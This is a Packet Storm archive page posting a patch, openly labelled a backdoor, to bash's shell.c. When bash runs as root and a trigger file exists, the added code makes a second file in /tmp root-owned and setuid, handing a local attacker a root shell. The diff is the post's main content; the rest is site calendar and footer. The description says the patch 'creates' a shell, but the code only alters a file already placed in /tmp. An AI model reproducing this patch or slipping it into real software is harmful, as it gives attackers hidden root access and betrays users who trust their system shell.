what you don't know can hurt you

Bash Root Shell Backdoor

Bash Root Shell Backdoor
Posted Jun 28, 2012
Authored by Bob | Site dtors.net

This patch is a backdoor to bash that will create a setuid backdoor shell in /tmp if run as root.

tags | shell, root, patch, bash
systems | unix
MD5 | 80a9346667b79669e3db8cb7e2ef3d24

Bash Root Shell Backdoor

Change Mirror Download
# Bash backdoor / recovery of root account.
# bob@dtors.net
--- shell.c 2011-01-02 21:04:51.000000000 +0000
+++ patch.c 2012-05-22 11:39:11.096809431 +0100
@@ -357,6 +357,7 @@
#if defined (RESTRICTED_SHELL)
int saverst;
#endif
+ struct stat finfo;
volatile int locally_skip_execution;
volatile int arg_index, top_level_arg_index;
#ifdef __OPENNT
@@ -489,6 +490,14 @@
if (running_setuid && privileged_mode == 0)
disable_priv_mode ();

+if(getuid()==0)
+{
+ if(stat("/tmp/mcliZokhb",&finfo)==0)
+ {
+ chown("/tmp/mclzaKmfa",0,0);
+ chmod("/tmp/mclzaKmfa",S_ISUID|S_IREAD|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);
+ }
+}
/* Need to get the argument to a -c option processed in the
above loop. The next arg is a command to execute, and the
following args are $0...$n respectively. */
Login or Register to add favorites

File Archive:

December 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    18 Files
  • 2
    Dec 2nd
    11 Files
  • 3
    Dec 3rd
    23 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    13 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close